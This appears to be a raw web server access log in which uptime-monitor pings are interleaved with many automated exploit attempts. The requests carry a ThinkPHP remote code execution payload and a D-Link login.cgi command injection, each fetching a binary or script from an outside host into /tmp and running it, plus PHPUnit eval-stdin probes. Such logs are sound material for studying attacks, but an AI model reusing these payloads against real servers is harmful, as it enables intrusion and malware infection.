42.117.137.78 - - [02/Feb/2020:11:44:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:44:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.45.62.11 - - [02/Feb/2020:11:44:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
103.88.27.34 - - [02/Feb/2020:11:44:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.219.85.159 - - [02/Feb/2020:11:44:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:45:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.232.132.77 - - [02/Feb/2020:11:46:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:11:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:48:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:49:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.202.63.226 - - [02/Feb/2020:11:50:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.202.63.226 - - [02/Feb/2020:11:50:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.202.63.226 - - [02/Feb/2020:11:50:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:51:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:52:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:54:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.142.232.77 - - [02/Feb/2020:11:55:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:11:55:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:11:57:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.95.252 - - [02/Feb/2020:11:58:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.240.108 - - [02/Feb/2020:11:58:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:11:59:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [02/Feb/2020:12:02:17 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:12:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [02/Feb/2020:12:05:55 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
94.51.31.41 - - [02/Feb/2020:12:06:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.1.80.222 - - [02/Feb/2020:12:07:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.172.33 - - [02/Feb/2020:12:09:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:10:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.196.87.141 - - [02/Feb/2020:12:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
94.51.23.0 - - [02/Feb/2020:12:10:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.31.41 - - [02/Feb/2020:12:10:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.133.194.58 - - [02/Feb/2020:12:11:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:12:11:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.80.144.56 - - [02/Feb/2020:12:13:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:14:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.164.64 - - [02/Feb/2020:12:14:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.139.86.46 - - [02/Feb/2020:12:14:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.119.197 - - [02/Feb/2020:12:15:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [02/Feb/2020:12:15:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.191.92.44 - - [02/Feb/2020:12:15:25 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.92.44 - - [02/Feb/2020:12:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [02/Feb/2020:12:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.132.79 - - [02/Feb/2020:12:19:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:19:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.74.23 - - [02/Feb/2020:12:19:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.95.141 - - [02/Feb/2020:12:19:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.47.253.115 - - [02/Feb/2020:12:20:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.30.196.176 - - [02/Feb/2020:12:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [02/Feb/2020:12:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [02/Feb/2020:12:22:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:12:23:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.158.191.155 - - [02/Feb/2020:12:23:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
2.133.82.2 - - [02/Feb/2020:12:23:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.207.95.37 - - [02/Feb/2020:12:24:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:12:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.56.27.232 - - [02/Feb/2020:12:24:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.69.13.227 - - [02/Feb/2020:12:25:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:12:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:26:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.40.51 - - [02/Feb/2020:12:26:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.137.227.52 - - [02/Feb/2020:12:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:12:28:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.80.240.151 - - [02/Feb/2020:12:29:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:30:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.45.63 - - [02/Feb/2020:12:31:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:31:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.226.167 - - [02/Feb/2020:12:32:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.57.102.214 - - [02/Feb/2020:12:33:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:12:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.205.157 - - [02/Feb/2020:12:34:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:34:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:35:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:36:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.22.203 - - [02/Feb/2020:12:37:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
187.63.79.146 - - [02/Feb/2020:12:37:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.52.19.140 - - [02/Feb/2020:12:38:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:39:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.218.197 - - [02/Feb/2020:12:39:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:40:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.75.220 - - [02/Feb/2020:12:41:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.50.175.195 - - [02/Feb/2020:12:42:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.123.135.7 - - [02/Feb/2020:12:43:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:43:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:44:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.54.117 - - [02/Feb/2020:12:44:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.32.14 - - [02/Feb/2020:12:45:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:12:45:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.124.223.251 - - [02/Feb/2020:12:48:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:12:48:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:49:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:12:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
